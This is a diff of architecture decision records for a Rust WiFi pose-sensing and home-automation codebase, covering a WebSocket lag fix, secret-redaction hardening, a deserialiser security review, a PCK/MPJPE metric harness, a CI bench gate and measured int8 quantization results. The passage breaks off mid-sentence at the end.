### HC-WS-LAG-01 — `subscribe_events` killed the stream on a broadcast lag (FIXED)
|
||||
|
||||
The per-subscription task matched `Err(_) => break` on both broadcast
|
||||
`recv()` arms. `RecvError::Lagged(n)` (a slow consumer falling
|
||||
>`EVENT_CHANNEL_CAPACITY` = 4,096 events behind) is **recoverable** — the bus
|
||||
doc says "Lagged receivers must re-sync" and HA keeps the subscription alive
|
||||
across a lag. The old code treated the first lag as fatal, so after an event
|
||||
burst the client's stream went permanently silent with no error frame — a
|
||||
self-inflicted event-delivery DoS under load.
|
||||
|
||||
**Fix:** `Lagged(_) => continue` (skip the dropped window, re-sync),
|
||||
`Closed => break`, on both the system and domain arms of the `select!`.
|
||||
**Pinned by** `subscription_survives_broadcast_lag` (`tests/ws_handshake.rs`):
|
||||
subscribes to a filtered event type, floods 6,000 unrelated events past the
|
||||
4,096 capacity to force a `Lagged`, then asserts a subsequent subscribed event
|
||||
is still delivered (old code: 5s-timeout panic).
|
||||
|
||||
### Dimensions confirmed clean (with evidence)
|
||||
|
||||
- **AuthN/AuthZ** — all 7 other REST handlers gate on `BearerAuth::from_headers`
|
||||
→ `LongLivedTokenStore::is_valid` before any work; the WS handshake validates
|
||||
the `auth` token against the same store before the command loop, and
|
||||
privileged commands are unreachable pre-`auth_ok`. Token compare is
|
||||
`HashSet::contains` (content-independent timing — not the byte-`==` oracle of
|
||||
ADR-157 §B4), so no timing-oracle finding. No route skips the gate; no
|
||||
result-ignored check; no default/empty token accepted.
|
||||
- **Path traversal** — no route maps user input to a filesystem path (state is an
|
||||
in-memory `DashMap`); `:entity_id` passes through `EntityId::parse`, a strict
|
||||
`[a-z0-9_]+\.[a-z0-9_]+` ASCII allowlist that rejects `..`, `/`, `\`, and
|
||||
absolute paths. No traversal surface.
|
||||
- **Injection** — no SQL, no shell/subprocess, no `format!`-into-response;
|
||||
service/state bodies are typed `serde_json::Value` handed to the in-process
|
||||
registry (HA-equivalent).
|
||||
- **Info-leak** — `ApiError` maps to fixed status + a typed `{message}`;
|
||||
`ServiceError::HandlerFailed(String)` is integration-controlled (HA surfaces
|
||||
the handler error too), never framework internals/paths/stack-traces — no
|
||||
ADR-080-class leak.
|
||||
- **CORS** — explicit allowlist with `allow_credentials(false)` (HC-05),
|
||||
not `permissive()`.
|
||||
- **De-magic** — no bare security-relevant literals in the crate worth
|
||||
extracting (`EVENT_CHANNEL_CAPACITY` is already named in `homecore`; CORS
|
||||
dev-default ports are documented).
|
||||
|
||||
**Tests:** `homecore-api --no-default-features` **25 → 29** (+2 api-root auth,
|
||||
+1 api-root accept-guard, +1 WS lag-survival), 0 failed. Workspace green.
|
||||
Python deterministic proof unchanged (homecore-api is off the signal proof
|
||||
path).
|
||||
|
||||
@@ -78,6 +78,23 @@ converts the entity registry; full conversion of the remaining artifacts is defe
|
||||
|
||||
- `MigrateError` carries context (`path`, line/field) for I/O, JSON, YAML, missing-field,
|
||||
unsupported-schema-version, and entity-id parse failures (`src/lib.rs`).
|
||||
- **Secret-leak hardening (security review, 2026-06).** `secrets.yaml` parse failures must
|
||||
NOT use the generic `MigrateError::YamlParse { source }` variant: `serde_yaml`'s message
|
||||
for a typed-tag coercion error (e.g. `port: !!int <value>`) embeds the offending scalar
|
||||
verbatim (`invalid value: string "<the-secret-value>"`), and that error propagates through
|
||||
the `InspectSecrets` CLI path to stderr — leaking a secret value despite the CLI's
|
||||
deliberate `<redacted>` design. `read_secrets` now maps such failures to a dedicated
|
||||
redacting variant `MigrateError::SecretsParse { path, line, column }` that carries only the
|
||||
file path and a coarse location (`serde_yaml::Error::location()`), never the scalar content.
|
||||
Pinned by `secrets::tests::malformed_secrets_error_never_contains_secret_value` (asserts the
|
||||
rendered error **and its full `#[source]` chain** never contain the secret value).
|
||||
**Review dimensions confirmed clean with evidence:** source is never mutated (no
|
||||
`fs::write`/`remove`/`create` anywhere — P1 reads source, writes nothing); paths are
|
||||
user-supplied dirs joined with fixed filenames (no `..`/absolute traversal beyond the
|
||||
user's own privileges); malformed/typed/truncated `.storage` JSON and YAML **error, never
|
||||
panic** (every production `unwrap`/`expect` is test-only); unknown schema `minor_version`
|
||||
hard-errors fail-closed; no SQL/shell/path injection surface (the tool emits diagnostics
|
||||
only, persists nothing in P1).
|
||||
|
||||
### 2.5 Deferred to P2+ (NOT built — honestly labelled)
|
||||
|
||||
@@ -89,7 +106,9 @@ converts the entity registry; full conversion of the remaining artifacts is defe
|
||||
|
||||
### 2.6 Test evidence (as shipped)
|
||||
|
||||
- 19 tests (`cargo test -p homecore-migrate`), per the crate README badge.
|
||||
- 21 tests (`cargo test -p homecore-migrate`) — 19 as originally shipped plus 2 added by the
|
||||
2026-06 security review (`secrets::tests::malformed_secrets_error_never_contains_secret_value`,
|
||||
`malformed_secrets_error_reports_location`).
|
||||
|
||||
## 3. Consequences
|
||||
|
||||
|
||||
@@ -0,0 +1,117 @@
|
||||
# ADR-172: `wifi-densepose-cli` + `wifi-densepose-core` CSI-Deserialiser Security Review
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| **Status** | Accepted — clean-with-evidence, 4 regression pins added |
|
||||
| **Date** | 2026-06-15 |
|
||||
| **Deciders** | ruv |
|
||||
| **Codename** | **CSI-DESERIALISER-HARDENING** |
|
||||
| **Supersedes / amends** | none (records review; references ADR-127 §9 for the `core` portion, ADR-136 for the pre-existing DoS ACs) |
|
||||
|
||||
## Context
|
||||
|
||||
The beyond-SOTA security sweep (branch `feat/v2-beyond-sota-sweep`) reviewed each
|
||||
`v2/` crate for real, reproducible defects. Two crates had no prior dedicated
|
||||
security ADR:
|
||||
|
||||
- **`wifi-densepose-core`** — the dependency root for all 12 downstream crates
|
||||
(types, traits, error types, CSI frame primitives). A defect here is a
|
||||
force-multiplier: every consumer inherits it.
|
||||
- **`wifi-densepose-cli`** — the user-facing entrypoint
|
||||
(`calibrate`/`calibrate-serve`/`enroll`/`train-room`/`room-watch` + MAT-gated),
|
||||
which parses untrusted UDP CSI packets and operator-supplied paths.
|
||||
|
||||
A **specific hypothesis** motivated the core review. Three earlier reviews in
|
||||
this campaign found a systemic **NaN-state-poisoning bug class** in crates that
|
||||
depend on core (`wifi-densepose-calibration`, `-vitals`, `-geo`): a non-finite
|
||||
(NaN/Inf) input latched into persistent filter/accumulator state (IIR `y1/y2`,
|
||||
running mean, Welford/von-Mises accumulator, voxel grid) → silent **permanent**
|
||||
feature failure. The load-bearing question for this review: **does that bug class
|
||||
originate in a shared `wifi-densepose-core` primitive** (making the right fix a
|
||||
single root fix), or was it independently re-implemented in each downstream
|
||||
crate (making the three existing local fixes complete)?
|
||||
|
||||
## Decision
|
||||
|
||||
Record the review outcome and lock in the existing DoS guards with regression
|
||||
tests. **No production code is changed** — both crates were already hardened
|
||||
(ADR-136 acceptance criteria + `sanitize_room_id`); the gap was *untested*
|
||||
guards, which a future refactor could silently remove.
|
||||
|
||||
### Load-bearing question — VERDICT: **NO** (the NaN class does not live in core)
|
||||
|
||||
`wifi-densepose-core` exposes **no stateful accumulator of any kind** — no
|
||||
Welford/running-mean, no von-Mises/circular-mean, no IIR/biquad filter state, no
|
||||
voxel grid.
|
||||
|
||||
- **MEASURED:** `grep` over `core/src` for
|
||||
`welford|von_mises|biquad|y1|y2|running_mean|accumulat|voxel|self.*+=` matched
|
||||
only the `InvalidState` *error* enum variant, "reset state" doc comments, and a
|
||||
test-only LCG — **zero** stateful logic. The only float math in core is
|
||||
construction-time projection (`CsiFrame::new` → amplitude/phase via `mapv`) and
|
||||
pure stateless `utils` functions; nothing persists across frames.
|
||||
- **Corroboration:** `wifi-densepose-calibration::Features::from_series`
|
||||
(`extract.rs:103–133`) already filters non-finite samples → `Features::ZERO`.
|
||||
The downstream fixes are independently re-implemented, confirming each crate
|
||||
rolls its own accumulator and each local fix is correct and complete. **A fix
|
||||
in core would be a no-op (there is nothing to fix).**
|
||||
|
||||
Consequence: the NaN-state-poisoning class is a *downstream-local* pattern, not a
|
||||
core-rooted defect. No hidden fourth instance exists in the shared primitive.
|
||||
|
||||
### Findings (all pins — guards already present, now tested)
|
||||
|
||||
| # | Location | Guard (pre-existing) | Regression pin | Evidence (MEASURED) |
|
||||
|---|----------|----------------------|----------------|---------------------|
|
||||
| 1 | `core` `types.rs:801` `from_canonical_bytes` | `saturating_mul` shape-vs-length check before `Vec::with_capacity(rows*cols)` | `canonical_decode_oversized_shape_is_bounded_not_allocated` | With guard removed: **panics `capacity overflow` at `types.rs:801`**; with guard: passes |
|
||||
| 2 | `core` `types.rs` decoder | typed `CanonicalDecodeError`, never panics | `canonical_decode_never_panics_on_arbitrary_bytes` (fuzz sweep) | panic-free on arbitrary bytes |
|
||||
| 3 | `cli` `calibrate.rs:276–291` | length check `buf.len() < 20 + n_pairs*2` before `Array2::zeros(n_antennas*n_subcarriers)` | `test_parse_csi_packet_oversized_claim_is_rejected_not_allocated` | 255×65535 claim in a 2 KB packet → `None` (no allocation) |
|
||||
| 4 | `cli` `calibrate.rs` parser | `None`-returning on malformed input | `test_parse_csi_packet_never_panics_on_arbitrary_bytes` (fuzz sweep) | panic-free on arbitrary UDP bytes |
|
||||
|
||||
### Dimensions confirmed clean (with evidence)
|
||||
|
||||
1. **Panic-on-adversarial-input = 0** — `from_canonical_bytes` returns a typed
|
||||
error for every malformed class; `parse_csi_packet` returns `None`. Both
|
||||
fuzz-swept panic-free.
|
||||
2. **NaN handling** — `Confidence::new` rejects NaN
|
||||
(`!(0.0..=1.0).contains(&NaN)` ⇒ `Err`); `compute_bounding_box` /
|
||||
`to_flat_array` are NaN-tolerant (f32 min/max ignore NaN).
|
||||
3. **Empty-frame safety** — `amplitude_variance` / `mean_amplitude` are
|
||||
panic-free on an empty `Array2` (ndarray 0.17 returns finite / `None`).
|
||||
4. **Unbounded-memory DoS** — bounded in both deserialisers (findings 1 & 3).
|
||||
5. **Path traversal** — `calibrate-serve` defends every client-supplied
|
||||
`room_id`/`bank`/`baseline` via `sanitize_room_id` (`[A-Za-z0-9_-]`, 64-char
|
||||
cap) with existing tests; bearer-auth gate + non-loopback-bind warning present.
|
||||
`mat export` writes to an operator-supplied `PathBuf` (acceptable CLI behavior).
|
||||
6. **Secrets** — `--token` is read from `CALIBRATE_TOKEN` env, never embedded.
|
||||
|
||||
## Validation
|
||||
|
||||
- `cargo test -p wifi-densepose-core` → **35 → 37** lib passed, 0 failed (+3 doctests)
|
||||
- `cargo test -p wifi-densepose-cli --no-default-features` → **24 → 26** passed, 0 failed
|
||||
- `cargo test --workspace --no-default-features` → **exit 0**, 0 failed
|
||||
- `python archive/v1/data/proof/verify.py` → **VERDICT: PASS**, hash
|
||||
`f8e76f21a0f9852b70b6d9dd5318239f6b20cbcb4cdd995863263cecdc446f7a` **unchanged**
|
||||
(core/cli are off the signal proof path — confirms no pipeline alteration)
|
||||
|
||||
## Consequences
|
||||
|
||||
### Positive
|
||||
- Two CSI deserialisers (the untrusted-input boundary of both the library root
|
||||
and the network-facing CLI) now have their DoS guards pinned against
|
||||
regression — a future refactor that drops a length check fails CI.
|
||||
- The NaN-state-poisoning class is settled as downstream-local; reviewers no
|
||||
longer need to suspect a shared-root defect, and the three prior local fixes
|
||||
are confirmed complete.
|
||||
|
||||
### Negative
|
||||
- None. Test-only change; no behavior or API change.
|
||||
|
||||
### Neutral
|
||||
- The `core` portion is also noted in ADR-127 §9 (shared security-review log);
|
||||
this ADR is the canonical record for the `wifi-densepose-cli` review.
|
||||
|
||||
## Links
|
||||
- ADR-127 — HOMECORE state machine (shared security-review log, §9)
|
||||
- ADR-136 — pre-existing CSI deserialiser DoS acceptance criteria
|
||||
- ADR-151 — per-room calibration (`calibrate`/`calibrate-serve` surfaces)
|
||||
@@ -0,0 +1,123 @@
|
||||
# ADR-173: Metric-Locked PCK/MPJPE Accuracy Harness
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| **Status** | Accepted — implemented, deterministically tested |
|
||||
| **Date** | 2026-06-15 |
|
||||
| **Deciders** | ruv |
|
||||
| **Codename** | **METRIC-LOCK** |
|
||||
| **Amends** | ADR-155 (generalizes the torso-only `metrics_core::pck_canonical` to a selectable normalization) |
|
||||
| **Motivated by** | `docs/research/sota-nn-train-benchmark-brief.md` (PR #1090) |
|
||||
|
||||
## Context
|
||||
|
||||
The beyond-SOTA SOTA-research brief (PR #1090) identified the single biggest
|
||||
threat to any "beyond-SOTA" accuracy claim this project makes: **metric
|
||||
ambiguity**. Three PCK@20 numbers circulate, computed under three *different and
|
||||
unstated* normalizations, so they cannot be compared:
|
||||
|
||||
- **96.09–96.61%** — WiFlow-STD reproduction, **image/bounding-box-normalized** PCK (the looser convention).
|
||||
- **81.63%** — an internal MM-Fi number reported as **"torso-PCK"** (tighter).
|
||||
- **61.1%** — GraphPose-Fi (arXiv 2511.19105), **standard torso-diameter** PCK on the MM-Fi random split (the academic frontier).
|
||||
|
||||
The project has been burned by this twice: a previously-published 92.9% was
|
||||
retracted because it used **absolute-pixel** normalization, not torso. Until
|
||||
there is *one canonical, documented, tested* PCK definition — and every reported
|
||||
number carries the definition it was computed under — no accuracy comparison is
|
||||
credible, and the "prove everything" bar cannot be met for the benchmark half of
|
||||
the work.
|
||||
|
||||
This is measurement infrastructure, not an accuracy claim. The deliverable's job
|
||||
is to make the metric **unambiguous and reproducible**, so future numbers are
|
||||
comparable and an unlabeled PCK is structurally impossible.
|
||||
|
||||
## Decision
|
||||
|
||||
Add a metric-locked accuracy harness as a new module
|
||||
`v2/crates/wifi-densepose-train/src/accuracy.rs` (404 non-test lines; inline
|
||||
deterministic tests bring the file to 708), re-exported at the crate root. It
|
||||
**extends, not duplicates** — it reuses `metrics_core`'s geometric primitives
|
||||
(`bounding_box_diagonal`, canonical hip indices `CANON_LEFT_HIP/RIGHT_HIP`), so
|
||||
there remains exactly one implementation of each geometric reference; the
|
||||
existing ADR-155 `pck_canonical` (torso-only) is unchanged and this generalizes
|
||||
it.
|
||||
|
||||
### Public API
|
||||
|
||||
- `enum PckNormalization { TorsoDiameter, BoundingBoxDiagonal, AbsolutePixels(f32) }`
|
||||
— the three conventions the three historical numbers used, now **explicit and
|
||||
selectable**. `.label()` / `.tolerance(...)`.
|
||||
- `pck_at(pred, gt, vis, k, norm) -> (correct, total, pck)` — PCK@k =
|
||||
fraction of *visible* keypoints whose predicted-vs-GT distance ≤ the tolerance,
|
||||
where tolerance = `k%` of the chosen normalizer (or an absolute threshold for
|
||||
`AbsolutePixels`).
|
||||
- `mpjpe(pred, gt, vis) -> f32` — mean per-joint position error (2D/3D, coordinate
|
||||
units; mm for mm inputs). Re-exported crate-root as `pck_mpjpe` to avoid
|
||||
colliding with the existing `eval::mpjpe`.
|
||||
- `struct PoseAccuracy { pck_at: BTreeMap<u8,f32>, mpjpe, normalization, n_keypoints, n_frames }`
|
||||
— **a reported number always carries its `normalization`**; an unlabeled PCK is
|
||||
structurally impossible to produce through this surface.
|
||||
- `struct PoseFrame { pred, gt, visibility }` + `accuracy_report(frames, ks, norm) -> PoseAccuracy`
|
||||
(micro-averaged over keypoints).
|
||||
|
||||
### Correctness is proven by hand-computed deterministic tests (no GPU, no data)
|
||||
|
||||
The tests construct synthetic keypoint sets whose PCK/MPJPE can be computed by
|
||||
hand, and assert the harness matches. Highlights (all pass):
|
||||
|
||||
| Test | Construction | Expected |
|
||||
|------|--------------|----------|
|
||||
| perfect_prediction | pred==gt | PCK=1.0 (all 3 norms), MPJPE=0 |
|
||||
| all_just_outside | every error just past τ@20 | PCK=0.0 |
|
||||
| half_in_half_out | 2 exact, 2 just outside | PCK=0.5 |
|
||||
| **three_normalizations (KEY PROOF)** | identical pred; nose err .06, shoulder .10, hips exact | torso=**0.50**, bbox=**1.00**, abs(.08)=**0.75** |
|
||||
| mpjpe_2d / mpjpe_3d | (3,4)→5 / (1,2,2)→3 | 2.5 / 3.0 |
|
||||
| mpjpe_excludes_invisible | invisible joint err 100 ignored | 5.0 |
|
||||
| zero_torso_unscoreable | coincident hips | `(0,0,0.0)`, **not** false-perfect |
|
||||
| no_visible_keypoints | vis=∅ | `(0,0,0.0)` |
|
||||
| nan_coords | one NaN pred coord | counted wrong, **no panic** |
|
||||
| empty report | no frames | 0.0, **not** NaN |
|
||||
| bbox≥torso ordering | same frames | bbox-PCK ≥ torso-PCK |
|
||||
|
||||
### The key proof (the ambiguity is real and quantified)
|
||||
|
||||
Identical predictions, three declared normalizations → **0.50 / 1.00 / 0.75**.
|
||||
Mechanism: the bbox diagonal `√(0.20² + 0.80²) = 0.825` is ~4× the hip-span torso
|
||||
`0.20`, so τ@20 is 0.165 (bbox) vs 0.040 (torso) — the looser image-normalized
|
||||
convention passes joints the strict torso convention rejects. This is *exactly*
|
||||
why 96% / 81.6% / 61% cannot be lined up without declaring the enum, demonstrated
|
||||
in-code.
|
||||
|
||||
## Validation
|
||||
|
||||
- `cargo test -p wifi-densepose-train --no-default-features` → lib **191 → 206**
|
||||
(+15), `test_metrics` **12 → 14** (+2), doc-tests 8 — **0 failed**.
|
||||
- `cargo test --workspace --no-default-features` → **exit 0**, 0 failed.
|
||||
- `python archive/v1/data/proof/verify.py` → **VERDICT: PASS**, hash
|
||||
`f8e76f21a0f9852b70b6d9dd5318239f6b20cbcb4cdd995863263cecdc446f7a` **unchanged**
|
||||
(off the signal proof path — confirms no pipeline alteration).
|
||||
|
||||
## Consequences
|
||||
|
||||
### Positive
|
||||
- The three historical PCK numbers can now be **recomputed under one declared
|
||||
definition** and compared honestly. The retracted-number class of error
|
||||
(silent normalization mismatch) is structurally prevented going forward.
|
||||
- Establishes the measurement substrate for the beyond-SOTA target: GraphPose-Fi
|
||||
cross-environment **PCK@20 = 12.9%** (standard torso PCK) is now a number this
|
||||
harness can produce comparably.
|
||||
|
||||
### Negative
|
||||
- None functional. The harness is additive; no existing metric path changed.
|
||||
|
||||
### Neutral
|
||||
- Producing actual model numbers under this harness requires the trained models +
|
||||
datasets (MM-Fi) and, for cross-domain splits, is the next sub-deliverable of
|
||||
the benchmark/optimization milestone — out of scope here (this ADR is the
|
||||
*instrument*, not the *reading*).
|
||||
|
||||
## Links
|
||||
- ADR-155 — metric core (`pck_canonical`, torso-only) — generalized here
|
||||
- ADR-152 — WiFi-Pose SOTA 2026 intake / WiFlow-STD benchmark
|
||||
- `docs/research/sota-nn-train-benchmark-brief.md` — the motivating gap analysis
|
||||
- GraphPose-Fi — arXiv 2511.19105 (verified cross-env PCK@20 = 12.9% anchor)
|
||||
@@ -0,0 +1,110 @@
|
||||
# ADR-174: CI Bench-Regression Gate (Compile-Verify)
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| **Status** | Accepted — implemented, caught one real bit-rotted bench |
|
||||
| **Date** | 2026-06-15 |
|
||||
| **Deciders** | ruv |
|
||||
| **Codename** | **BENCH-GATE** |
|
||||
| **Milestone** | benchmark/optimization re-balance — sub-deliverable 8.3 |
|
||||
| **Motivated by** | `docs/research/sota-nn-train-benchmark-brief.md` (target 3: criterion benches as CI regression baselines) |
|
||||
|
||||
## Context
|
||||
|
||||
The v2/ workspace ships **26 criterion benches across 18 crates** (e.g.
|
||||
`nvsim/pipeline_throughput`, `wifi-densepose-ruvector/{ann,sketch,fusion}_bench`,
|
||||
`wifi-densepose-signal/{signal,dsp_perf,features,calibration,cir,…}_bench`,
|
||||
`wifi-densepose-mat/detection_bench`, `wifi-densepose-nn/{inference,native_conv}_bench`,
|
||||
`wifi-densepose-engine/engine_cycle`, …). Because **benches are not part of
|
||||
`cargo test`**, nothing in CI compiled them — so they bit-rot silently the moment
|
||||
a public API they call changes, and the rot is invisible until someone manually
|
||||
runs `cargo bench` months later.
|
||||
|
||||
The SOTA brief named "wire existing criterion benches into CI as regression
|
||||
baselines" as a concrete benchmark-hygiene target. The honest difficulty: true
|
||||
*timing*-regression gating on shared GitHub runners is unreliable — wall-clock
|
||||
varies 2–3× run-to-run (a captured 10-sample run showed `float_l2/512` ranging
|
||||
307–444 ns), so a hard threshold or a cross-runner `criterion --baseline` compare
|
||||
(baseline and PR land on different physical machines) would manufacture false
|
||||
regressions. A gate that cries wolf gets disabled.
|
||||
|
||||
## Decision
|
||||
|
||||
Add `.github/workflows/bench-regression.yml` with **two jobs of explicitly
|
||||
different authority** — and do NOT pretend to gate on timing.
|
||||
|
||||
### `bench-compile` — HARD GATE (real regression detection)
|
||||
`cargo bench --workspace --no-default-features --no-run` compiles + links every
|
||||
default-feature bench (no measurement → fully deterministic), plus a
|
||||
`--features cir` compile of the gated `cir_bench`. Benches aren't in `cargo test`,
|
||||
so this is the genuine guard: **the build fails the moment a bench stops
|
||||
compiling.**
|
||||
|
||||
### `bench-fast-run` — INFORMATIONAL (`continue-on-error: true`, never gates)
|
||||
Runs a curated pure-CPU subset (`nvsim/pipeline_throughput`,
|
||||
`ruvector/{sketch,fusion}_bench`) in criterion quick-mode (1 s warm-up / 2 s
|
||||
measure / 10 samples), targeted per-`--bench`, and uploads logs as an artifact.
|
||||
Every number it produces is **informational only** — explicitly stated in the
|
||||
workflow header.
|
||||
|
||||
### What is NOT done, and why (honest scope)
|
||||
No timing-regression gate, no committed baseline JSON. The workflow header
|
||||
documents the exact condition under which true timing-gating becomes honest: a
|
||||
frequency-pinned **self-hosted** runner with a generous (>2×) floor. A
|
||||
cross-runner baseline would be dishonest, so none is committed.
|
||||
|
||||
### Proof it matters (MEASURED)
|
||||
Running the new gate on the current tree immediately caught
|
||||
`wifi-densepose-mat/detection_bench` failing to compile:
|
||||
`error[E0063]: missing field last_rssi in initializer of SensorPosition` — the
|
||||
struct gained a field; the bench was never updated. **Fixed** in the same change
|
||||
(`last_rssi: None`, the simulated-zone convention) and re-verified
|
||||
(`cargo bench -p wifi-densepose-mat --no-default-features --bench detection_bench --no-run`
|
||||
→ `Finished`). The gate paid for itself on its first run.
|
||||
|
||||
### Exclusions (documented in-workflow)
|
||||
- `ruvector/crv_bench` — its crates.io dep `ruvector-crv 0.1.1` fails to build on
|
||||
stable (upstream `E0308` in `stage_iii.rs`); excluded with a re-add condition.
|
||||
- `onnx_bench` / `mqtt_throughput` — feature-gated (ort / mqtt), left to their
|
||||
crates' own workflows. `wasm-edge/process_frame_bench` — workspace-excluded.
|
||||
|
||||
Conventions mirror existing workflows: `submodules: recursive` (the workspace
|
||||
path-deps `vendor/rufield`), Swatinem/rust-cache `workspaces: v2`, Tauri/GTK apt
|
||||
deps (a `--workspace` bench link pulls the whole graph), path-filtered triggers.
|
||||
|
||||
## Validation
|
||||
|
||||
- **Bit-rot caught + fixed** (above), re-verified `--no-run`.
|
||||
- **MEASURED locally** (`--no-default-features`, Windows): nvsim, ruvector
|
||||
(sketch/fusion/ann), signal/cir_bench, mat/detection_bench (post-fix),
|
||||
vitals, ruview-swarm/swarm_bench all compile; fast subset runs (`nvsim
|
||||
pipeline_run/d1/256` ≈ 55 µs; `ruvector sketch_hamming` ≈ 3–7 ns vs `float_l2`
|
||||
≈ 63–371 ns).
|
||||
- `cargo test -p wifi-densepose-mat --no-default-features` → 166/6/2 passed, 0 failed.
|
||||
- `python archive/v1/data/proof/verify.py` → **VERDICT: PASS**, hash
|
||||
`f8e76f21…46f7a` unchanged.
|
||||
- **Honest limitation:** the full `--workspace --no-run` could not be
|
||||
end-to-end validated on this Windows box (`desktop` needs GTK, `candle-core`
|
||||
fails on MSVC, `swarm_bench` LTO-links OOM under parallel pressure — all
|
||||
Windows-env artifacts; each affected bench compiles standalone here). **The
|
||||
first green Linux CI run on the PR is the authoritative proof of the
|
||||
`--workspace` step.**
|
||||
|
||||
## Consequences
|
||||
|
||||
### Positive
|
||||
- Bench bit-rot is now a hard CI failure, not a silent surprise — the 26 benches
|
||||
stay compilable as the APIs they exercise evolve.
|
||||
- The benchmark-infrastructure half of the DoD (step 5) is satisfied honestly,
|
||||
setting up the next sub-deliverable (QAT-int8 measurement) to be
|
||||
regression-protected.
|
||||
|
||||
### Negative / Neutral
|
||||
- No automated timing-regression detection (deliberate — see scope). Revisit only
|
||||
with a frequency-pinned self-hosted runner.
|
||||
- One bench (`crv_bench`) excluded pending an upstream dep fix.
|
||||
|
||||
## Links
|
||||
- ADR-173 — metric-locked accuracy harness (sub-deliverable 8.1)
|
||||
- `docs/research/sota-nn-train-benchmark-brief.md` — motivating target
|
||||
- ADR-134 (CIR), ADR-135 (calibration), ADR-154 (signal DSP benches) — benched paths
|
||||
@@ -0,0 +1,172 @@
|
||||
# ADR-175: int8 Quantization of the WiFlow-STD "half" Pose Model — MEASURED accuracy/size trade-off
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| **Status** | Accepted — MEASURED, reproducible (honest negative) |
|
||||
| **Date** | 2026-06-15 |
|
||||
| **Deciders** | ruv |
|
||||
| **Codename** | **EDGE-INT8** |
|
||||
| **Sub-deliverable** | 8.2 of the benchmark/optimization milestone |
|
||||
| **Metric lock** | ADR-173 (one declared PCK normalization for every reported number) |
|
||||
| **Motivated by** | `docs/research/sota-nn-train-benchmark-brief.md` (§edge int8) |
|
||||
|
||||
## Context
|
||||
|
||||
The SOTA brief characterized the int8 edge story for the WiFlow-STD pose net as
|
||||
"fully characterized" for PTQ on the **published 2.23M** model (static QDQ
|
||||
conv-only = the sweet spot; dynamic int8 ≈ no-op on this all-conv net), and named
|
||||
**QAT-int8 on the strictly-dominating 843,834-param "half" model** as "the one
|
||||
untested edge lever." This ADR is the reading of that lever — a MEASURED
|
||||
fp32-vs-int8 trade-off for the half model, not a claim.
|
||||
|
||||
The half model (`half_best.pth`, 843,834 params) is the efficiency-sweep winner
|
||||
from ADR-152 (`run_sweep.py` VARIANTS[0]: `tcn=[270,220,170,120]`,
|
||||
`conv=[4,8,16,32]`, `attn_groups=4`). Its fp32 accuracy was recorded in the sweep;
|
||||
this ADR re-measures it under the locked normalization and quantizes it.
|
||||
|
||||
**The whole point of this deliverable is reproducibility.** Every number below was
|
||||
produced by running `v2/crates/wifi-densepose-train/scripts/quantize_half_int8.py`
|
||||
on host `ruvultra` (RTX 5080, torch 2.11.0+cu128) against the real checkpoint and
|
||||
the real seed-42 test split. The script + the exact command + the recorded stdout
|
||||
**is** the proof artifact. Nothing here is estimated.
|
||||
|
||||
## Decision
|
||||
|
||||
Quantize the half model to int8 with **both** levers and report both honestly:
|
||||
|
||||
1. **QAT (primary target)** — FX graph-mode quantization-aware training, fbgemm
|
||||
backend, 3 epochs of fake-quant fine-tuning from `half_best.pth` (AdamW lr 2e-5,
|
||||
the existing `PoseLoss`), then `convert_fx` to a true int8 graph.
|
||||
2. **PTQ static QDQ (the brief's "sweet spot", measured as the honest fallback)** —
|
||||
FX graph-mode static PTQ, fbgemm, calibrated on 64 train batches.
|
||||
|
||||
### Locked normalization (ADR-173)
|
||||
|
||||
**Torso-diameter PCK** — neck (keypoint idx 2) → pelvis (idx 12) distance — the
|
||||
standard MM-Fi/GraphPose-Fi convention. This is exactly the default
|
||||
`use_torso_norm=True` path of the upstream harness's `utils/metrics.calculate_pck`.
|
||||
The **same** `calculate_pck`/`calculate_mpjpe` that produced the sweep's fp32
|
||||
numbers scores **both** fp32 and int8 here, so the comparison is metric-locked: no
|
||||
normalization is mixed, and the fp32 baseline reproduces the sweep's recorded
|
||||
`half` test numbers bit-for-bit (PCK@20 clean = 96.62%), confirming the harness is
|
||||
the same one.
|
||||
|
||||
### Device note (why int8 is CPU)
|
||||
|
||||
PyTorch int8 quantized kernels execute on CPU (fbgemm/x86), not CUDA. So int8 eval
|
||||
is CPU. To keep the accuracy delta device-matched (not confounding int8-vs-fp32
|
||||
with CPU-vs-GPU), the script measures an **fp32-CPU** baseline too. fp32-CPU and
|
||||
fp32-GPU agree to 4 decimals (PCK@20 clean 0.96623 vs 0.96623), so CPU/GPU
|
||||
introduces no drift — the int8 deltas below are pure quantization effect.
|
||||
|
||||
## MEASURED results (clean test subset = 52,560 NaN-free windows; torso-PCK)
|
||||
|
||||
Source: stdout of the run below + `~/wiflow-std-bench/sweep/int8/int8_results.json`.
|
||||
|
||||
| model | quant | size (MB) | PCK@20 | PCK@50 | MPJPE | Δ PCK@20 | Δ PCK@50 | size win |
|
||||
|-------|-------|-----------|--------|--------|-------|----------|----------|----------|
|
||||
| **fp32** (cpu) | — | **3.351** | **96.62%** | **99.47%** | **0.008981** | — | — | 1.00× |
|
||||
| int8 PTQ static | PTQ | 1.046 | 40.98% | 94.98% | 0.038262 | **−55.64 pp** | −4.49 pp | 3.20× smaller |
|
||||
| int8 QAT (3 ep) | **QAT** | 1.043 | 67.48% | 98.69% | 0.026548 | **−29.15 pp** | −0.78 pp | 3.21× smaller |
|
||||
|
||||
Full-test-set (54,000 windows incl. NaN-zero-filled files 487–499) tracks the
|
||||
clean subset: fp32 96.10% / int8-PTQ 41.11% / int8-QAT 67.48% PCK@20 — same shape,
|
||||
recorded in the JSON.
|
||||
|
||||
### Verdict
|
||||
|
||||
**int8 is NOT a win for this model at the tight PCK@20 edge target — honest no.**
|
||||
|
||||
- **PTQ static collapses** (−55.64 pp PCK@20). Naive static QDQ destroys the half
|
||||
model. The "sweet spot" characterization from the brief does not transfer from
|
||||
the 2.23M model to this 843k model at the strict torso-PCK@20 threshold.
|
||||
- **QAT recovers a large share of the relative gap** (PTQ 40.98% → QAT 67.48%) but
|
||||
still **loses 29.15 pp** at PCK@20 for a 3.21× size reduction. At the loose
|
||||
PCK@50 threshold QAT is nearly lossless (−0.78 pp), i.e. coarse-localization
|
||||
survives int8 but fine-localization does not.
|
||||
- The size win is real and consistent (3.2× smaller, 3.351 MB → ~1.04 MB), but
|
||||
**3.2× compression at −29 pp PCK@20 is a bad trade** when the half model already
|
||||
